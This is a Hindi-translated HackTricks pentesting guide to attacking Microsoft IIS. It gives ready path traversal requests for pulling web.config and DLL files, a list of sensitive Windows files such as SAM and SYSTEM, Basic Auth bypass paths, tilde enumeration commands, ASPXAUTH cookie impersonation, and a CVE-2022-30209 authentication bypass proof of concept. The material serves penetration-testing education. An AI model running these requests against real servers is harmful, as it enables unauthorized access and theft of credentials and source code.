# IIS - Internet Information Services
{{#include ../../banners/hacktricks-training.md}}
परीक्षण निष्पादन योग्य फ़ाइल एक्सटेंशन:
- asp
- aspx
- config
- php
## आंतरिक IP पता लीक
किसी भी IIS सर्वर पर जहाँ आपको 302 मिलता है, आप होस्ट हेडर को हटाने और HTTP/1.0 का उपयोग करने की कोशिश कर सकते हैं और प्रतिक्रिया के अंदर स्थान हेडर आपको आंतरिक IP पते की ओर इंगित कर सकता है:
```
nc -v domain.com 80
openssl s_client -connect domain.com:443
```
आंतरिक IP का खुलासा करने वाली प्रतिक्रिया:
```
GET / HTTP/1.0
HTTP/1.1 302 Moved Temporarily
Cache-Control: no-cache
Pragma: no-cache
Location: https://192.168.5.237/owa/
Server: Microsoft-IIS/10.0
X-FEServer: NHEXCHANGE2016
```
## Execute .config files
आप .config फ़ाइलें अपलोड कर सकते हैं और उनका उपयोग कोड निष्पादित करने के लिए कर सकते हैं। इसे करने का एक तरीका फ़ाइल के अंत में HTML टिप्पणी के अंदर कोड जोड़ना है: [Download example here](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Upload%20Insecure%20Files/Configuration%20IIS%20web.config/web.config)
इस भेद्यता का शोषण करने के लिए अधिक जानकारी और तकनीकें [यहां](https://soroush.secproject.com/blog/2014/07/upload-a-web-config-file-for-fun-profit/) हैं।
## IIS Discovery Bruteforce
मैंने जो सूची बनाई है उसे डाउनलोड करें:
{{#file}}
iisfinal.txt
{{#endfile}}
यह निम्नलिखित सूचियों की सामग्री को मिलाकर बनाई गई थी:
[https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/Web-Content/IIS.fuzz.txt](https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/Web-Content/IIS.fuzz.txt)\
[http://itdrafts.blogspot.com/2013/02/aspnetclient-folder-enumeration-and.html](http://itdrafts.blogspot.com/2013/02/aspnetclient-folder-enumeration-and.html)\
[https://github.com/digination/dirbuster-ng/blob/master/wordlists/vulns/iis.txt](https://github.com/digination/dirbuster-ng/blob/master/wordlists/vulns/iis.txt)\
[https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/Web-Content/SVNDigger/cat/Language/aspx.txt](https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/Web-Content/SVNDigger/cat/Language/aspx.txt)\
[https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/Web-Content/SVNDigger/cat/Language/asp.txt](https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/Web-Content/SVNDigger/cat/Language/asp.txt)\
[https://raw.githubusercontent.com/xmendez/wfuzz/master/wordlist/vulns/iis.txt](https://raw.githubusercontent.com/xmendez/wfuzz/master/wordlist/vulns/iis.txt)
इसे बिना किसी एक्सटेंशन के उपयोग करें, जिन फ़ाइलों को इसकी आवश्यकता है, उनमें पहले से ही है।
## Path Traversal
### Leaking source code
पूर्ण लेखन की जांच करें: [https://blog.mindedsecurity.com/2018/10/from-path-traversal-to-source-code-in.html](https://blog.mindedsecurity.com/2018/10/from-path-traversal-to-source-code-in.html)
> [!NOTE]
> संक्षेप में, एप्लिकेशन के फ़ोल्डरों के अंदर कई web.config फ़ाइलें हैं जिनमें "**assemblyIdentity**" फ़ाइलों और "**namespaces**" के संदर्भ हैं। इस जानकारी के साथ यह जानना संभव है **executables कहां स्थित हैं** और उन्हें डाउनलोड करें।\
> **डाउनलोड की गई Dlls** से यह भी संभव है **नए namespaces** खोजने के लिए जहां आपको पहुंचने का प्रयास करना चाहिए और web.config फ़ाइल प्राप्त करनी चाहिए ताकि नए namespaces और assemblyIdentity मिल सकें।\
> इसके अलावा, फ़ाइलें **connectionstrings.config** और **global.asax** दिलचस्प जानकारी रख सकती हैं।\\
**.Net MVC applications** में, **web.config** फ़ाइल एक महत्वपूर्ण भूमिका निभाती है, जो प्रत्येक बाइनरी फ़ाइल को निर्दिष्ट करती है जिस पर एप्लिकेशन निर्भर करता है **"assemblyIdentity"** XML टैग के माध्यम से।
### **Exploring Binary Files**
**web.config** फ़ाइल तक पहुंचने का एक उदाहरण नीचे दिखाया गया है:
```markup
GET /download_page?id=..%2f..%2fweb.config HTTP/1.1
Host: example-mvc-application.minded
```
यह अनुरोध विभिन्न सेटिंग्स और निर्भरताओं को प्रकट करता है, जैसे:
- **EntityFramework** संस्करण
- **AppSettings** वेबपृष्ठों, क्लाइंट सत्यापन, और JavaScript के लिए
- **System.web** प्रमाणीकरण और रनटाइम के लिए कॉन्फ़िगरेशन
- **System.webServer** मॉड्यूल सेटिंग्स
- **Runtime** असेंबली बाइंडिंग्स कई पुस्तकालयों के लिए जैसे **Microsoft.Owin**, **Newtonsoft.Json**, और **System.Web.Mvc**
ये सेटिंग्स यह संकेत देती हैं कि कुछ फ़ाइलें, जैसे **/bin/WebGrease.dll**, एप्लिकेशन के /bin फ़ोल्डर के भीतर स्थित हैं।
### **रूट डायरेक्टरी फ़ाइलें**
रूट डायरेक्टरी में पाई जाने वाली फ़ाइलें, जैसे **/global.asax** और **/connectionstrings.config** (जो संवेदनशील पासवर्ड रखती है), एप्लिकेशन की कॉन्फ़िगरेशन और संचालन के लिए आवश्यक हैं।
### **Namespaces और Web.Config**
MVC एप्लिकेशन विशिष्ट नामस्थान के लिए अतिरिक्त **web.config फ़ाइलें** भी परिभाषित करते हैं ताकि प्रत्येक फ़ाइल में दोहरावदार घोषणाओं से बचा जा सके, जैसा कि एक अन्य **web.config** डाउनलोड करने के अनुरोध के साथ प्रदर्शित किया गया है:
```markup
GET /download_page?id=..%2f..%2fViews/web.config HTTP/1.1
Host: example-mvc-application.minded
```
### **DLLs डाउनलोड करना**
कस्टम नामस्थान का उल्लेख "/bin" निर्देशिका में मौजूद "**WebApplication1**" नामक DLL की ओर इशारा करता है। इसके बाद, **WebApplication1.dll** डाउनलोड करने के लिए एक अनुरोध दिखाया गया है:
```markup
GET /download_page?id=..%2f..%2fbin/WebApplication1.dll HTTP/1.1
Host: example-mvc-application.minded
```
यह अन्य आवश्यक DLLs की उपस्थिति का सुझाव देता है, जैसे **System.Web.Mvc.dll** और **System.Web.Optimization.dll**, /bin निर्देशिका में।
एक परिदृश्य में जहां एक DLL एक नामस्थान आयात करता है जिसे **WebApplication1.Areas.Minded** कहा जाता है, एक हमलावर अन्य web.config फ़ाइलों के होने का अनुमान लगा सकता है जो पूर्वानुमानित पथों में हैं, जैसे **/area-name/Views/**, जिसमें विशिष्ट कॉन्फ़िगरेशन और /bin फ़ोल्डर में अन्य DLLs के संदर्भ शामिल हैं। उदाहरण के लिए, **/Minded/Views/web.config** के लिए एक अनुरोध कॉन्फ़िगरेशन और नामस्थान प्रकट कर सकता है जो एक अन्य DLL, **WebApplication1.AdditionalFeatures.dll** की उपस्थिति को इंगित करता है।
### सामान्य फ़ाइलें
[यहाँ से](https://www.absolomb.com/2018-01-26-Windows-Privilege-Escalation-Guide/)
```
C:\Apache\conf\httpd.conf
C:\Apache\logs\access.log
C:\Apache\logs\error.log
C:\Apache2\conf\httpd.conf
C:\Apache2\logs\access.log
C:\Apache2\logs\error.log
C:\Apache22\conf\httpd.conf
C:\Apache22\logs\access.log
C:\Apache22\logs\error.log
C:\Apache24\conf\httpd.conf
C:\Apache24\logs\access.log
C:\Apache24\logs\error.log
C:\Documents and Settings\Administrator\NTUser.dat
C:\php\php.ini
C:\php4\php.ini
C:\php5\php.ini
C:\php7\php.ini
C:\Program Files (x86)\Apache Group\Apache\conf\httpd.conf
C:\Program Files (x86)\Apache Group\Apache\logs\access.log
C:\Program Files (x86)\Apache Group\Apache\logs\error.log
C:\Program Files (x86)\Apache Group\Apache2\conf\httpd.conf
C:\Program Files (x86)\Apache Group\Apache2\logs\access.log
C:\Program Files (x86)\Apache Group\Apache2\logs\error.log
c:\Program Files (x86)\php\php.ini"
C:\Program Files\Apache Group\Apache\conf\httpd.conf
C:\Program Files\Apache Group\Apache\conf\logs\access.log
C:\Program Files\Apache Group\Apache\conf\logs\error.log
C:\Program Files\Apache Group\Apache2\conf\httpd.conf
C:\Program Files\Apache Group\Apache2\conf\logs\access.log
C:\Program Files\Apache Group\Apache2\conf\logs\error.log
C:\Program Files\FileZilla Server\FileZilla Server.xml
C:\Program Files\MySQL\my.cnf
C:\Program Files\MySQL\my.ini
C:\Program Files\MySQL\MySQL Server 5.0\my.cnf
C:\Program Files\MySQL\MySQL Server 5.0\my.ini
C:\Program Files\MySQL\MySQL Server 5.1\my.cnf
C:\Program Files\MySQL\MySQL Server 5.1\my.ini
C:\Program Files\MySQL\MySQL Server 5.5\my.cnf
C:\Program Files\MySQL\MySQL Server 5.5\my.ini
C:\Program Files\MySQL\MySQL Server 5.6\my.cnf
C:\Program Files\MySQL\MySQL Server 5.6\my.ini
C:\Program Files\MySQL\MySQL Server 5.7\my.cnf
C:\Program Files\MySQL\MySQL Server 5.7\my.ini
C:\Program Files\php\php.ini
C:\Users\Administrator\NTUser.dat
C:\Windows\debug\NetSetup.LOG
C:\Windows\Panther\Unattend\Unattended.xml
C:\Windows\Panther\Unattended.xml
C:\Windows\php.ini
C:\Windows\repair\SAM
C:\Windows\repair\system
C:\Windows\System32\config\AppEvent.evt
C:\Windows\System32\config\RegBack\SAM
C:\Windows\System32\config\RegBack\system
C:\Windows\System32\config\SAM
C:\Windows\System32\config\SecEvent.evt
C:\Windows\System32\config\SysEvent.evt
C:\Windows\System32\config\SYSTEM
C:\Windows\System32\drivers\etc\hosts
C:\Windows\System32\winevt\Logs\Application.evtx
C:\Windows\System32\winevt\Logs\Security.evtx
C:\Windows\System32\winevt\Logs\System.evtx
C:\Windows\win.ini
C:\xampp\apache\conf\extra\httpd-xampp.conf
C:\xampp\apache\conf\httpd.conf
C:\xampp\apache\logs\access.log
C:\xampp\apache\logs\error.log
C:\xampp\FileZillaFTP\FileZilla Server.xml
C:\xampp\MercuryMail\MERCURY.INI
C:\xampp\mysql\bin\my.ini
C:\xampp\php\php.ini
C:\xampp\security\webdav.htpasswd
C:\xampp\sendmail\sendmail.ini
C:\xampp\tomcat\conf\server.xml
```
## HTTPAPI 2.0 404 Error
यदि आप निम्नलिखित त्रुटि देखते हैं:
 (1) (2) (2) (3) (3) (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (10) (10) (2).png>)
इसका मतलब है कि सर्वर ने **Host header** के अंदर सही डोमेन नाम **नहीं प्राप्त किया**।\
वेब पृष्ठ तक पहुँचने के लिए, आप सर्वर द्वारा प्रदत्त **SSL Certificate** को देख सकते हैं और शायद आप वहां डोमेन/सबडोमेन नाम पा सकते हैं। यदि यह वहाँ नहीं है, तो आपको सही एक को खोजने के लिए **VHosts** का **brute force** करना पड़ सकता है।
## Old IIS vulnerabilities worth looking for
### Microsoft IIS tilde character “\~” Vulnerability/Feature – Short File/Folder Name Disclosure
आप इस **technique** का उपयोग करके हर खोजे गए फ़ोल्डर के अंदर **folders और files** को **enumerate** करने की कोशिश कर सकते हैं (यहां तक कि यदि यह Basic Authentication की आवश्यकता है)।\
इस तकनीक की मुख्य सीमा यदि सर्वर कमजोर है तो यह है कि **यह प्रत्येक फ़ाइल/फ़ोल्डर के नाम के पहले 6 अक्षरों और फ़ाइलों के एक्सटेंशन के पहले 3 अक्षरों को ही खोज सकता है।**
आप इस कमजोरी के लिए परीक्षण करने के लिए [https://github.com/irsdl/IIS-ShortName-Scanner](https://github.com/irsdl/IIS-ShortName-Scanner) का उपयोग कर सकते हैं:`java -jar iis_shortname_scanner.jar 2 20 http://10.13.38.11/dev/dca66d38fd916317687e1390a420c3fc/db/`
.png>)
मूल शोध: [https://soroush.secproject.com/downloadable/microsoft_iis_tilde_character_vulnerability_feature.pdf](https://soroush.secproject.com/downloadable/microsoft_iis_tilde_character_vulnerability_feature.pdf)
आप **metasploit** का भी उपयोग कर सकते हैं: `use scanner/http/iis_shortname_scanner`
खोजे गए फ़ाइलों के **अंतिम नाम** को **खोजने** के लिए एक अच्छा विचार है कि आप **LLMs** से विकल्प पूछें जैसे कि इसे स्क्रिप्ट [https://github.com/Invicti-Security/brainstorm/blob/main/fuzzer_shortname.py](https://github.com/Invicti-Security/brainstorm/blob/main/fuzzer_shortname.py) में किया गया है।
### Basic Authentication bypass
**Bypass** एक बेसिक ऑथेंटिकेशन (**IIS 7.5**) को एक्सेस करने की कोशिश करते हुए: `/admin:$i30:$INDEX_ALLOCATION/admin.php` या `/admin::$INDEX_ALLOCATION/admin.php`
आप नए **folders** खोजने और ऑथेंटिकेशन को **bypass** करने के लिए इस **vulnerability** और पिछले एक को **mix** करने की कोशिश कर सकते हैं।
## ASP.NET Trace.AXD enabled debugging
ASP.NET में एक डिबगिंग मोड शामिल है और इसका फ़ाइल नाम `trace.axd` है।
यह एक निश्चित समय अवधि के भीतर एक एप्लिकेशन के लिए किए गए सभी अनुरोधों का बहुत विस्तृत लॉग रखता है।
इस जानकारी में दूरस्थ क्लाइंट IP, सत्र आईडी, सभी अनुरोध और प्रतिक्रिया कुकीज़, भौतिक पथ, स्रोत कोड की जानकारी, और संभावित रूप से उपयोगकर्ता नाम और पासवर्ड शामिल हैं।
[https://www.rapid7.com/db/vulnerabilities/spider-asp-dot-net-trace-axd/](https://www.rapid7.com/db/vulnerabilities/spider-asp-dot-net-trace-axd/)

## ASPXAUTH Cookie
ASPXAUTH निम्नलिखित जानकारी का उपयोग करता है:
- **`validationKey`** (string): सिग्नेचर वैलिडेशन के लिए उपयोग करने के लिए hex-encoded कुंजी।
- **`decryptionMethod`** (string): (डिफ़ॉल्ट “AES”)।
- **`decryptionIV`** (string): hex-encoded initialization vector (डिफ़ॉल्ट रूप से शून्य का एक वेक्टर)।
- **`decryptionKey`** (string): डिक्रिप्शन के लिए उपयोग करने के लिए hex-encoded कुंजी।
हालांकि, कुछ लोग इन पैरामीटर के **डिफ़ॉल्ट मानों** का उपयोग करेंगे और **कुकी के रूप में उपयोगकर्ता का ईमेल** का उपयोग करेंगे। इसलिए, यदि आप एक वेब खोज सकते हैं जो ASPXAUTH कुकी का उपयोग कर रहा है और आप **उस उपयोगकर्ता के ईमेल के साथ एक उपयोगकर्ता बनाते हैं** जिसे आप हमले के तहत सर्वर पर **impersonate** करना चाहते हैं, तो आप पहले सर्वर में दूसरे सर्वर की कुकी का उपयोग करके उपयोगकर्ता का **impersonate** कर सकते हैं।\
यह हमला इस [**writeup**](https://infosecwriteups.com/how-i-hacked-facebook-part-two-ffab96d57b19) में काम किया।
## IIS Authentication Bypass with cached passwords (CVE-2022-30209)
[Full report here](https://blog.orange.tw/2022/08/lets-dance-in-the-cache-destabilizing-hash-table-on-microsoft-iis.html): कोड में एक बग **उपयोगकर्ता द्वारा दिए गए पासवर्ड की सही जांच नहीं करता**, इसलिए एक हमलावर जिसका **पासवर्ड हैश एक कुंजी** पर हिट करता है जो पहले से ही **cache** में है, वह उस उपयोगकर्ता के रूप में लॉगिन करने में सक्षम होगा।
```python
# script for sanity check
> type test.py
def HashString(password):
j = 0
for c in map(ord, password):
j = c + (101*j)&0xffffffff
return j
assert HashString('test-for-CVE-2022-30209-auth-bypass') == HashString('ZeeiJT')
# before the successful login
> curl -I -su 'orange:ZeeiJT' 'http:///protected/' | findstr HTTP
HTTP/1.1 401 Unauthorized
# after the successful login
> curl -I -su 'orange:ZeeiJT' 'http:///protected/' | findstr HTTP
HTTP/1.1 200 OK
```
{{#include ../../banners/hacktricks-training.md}}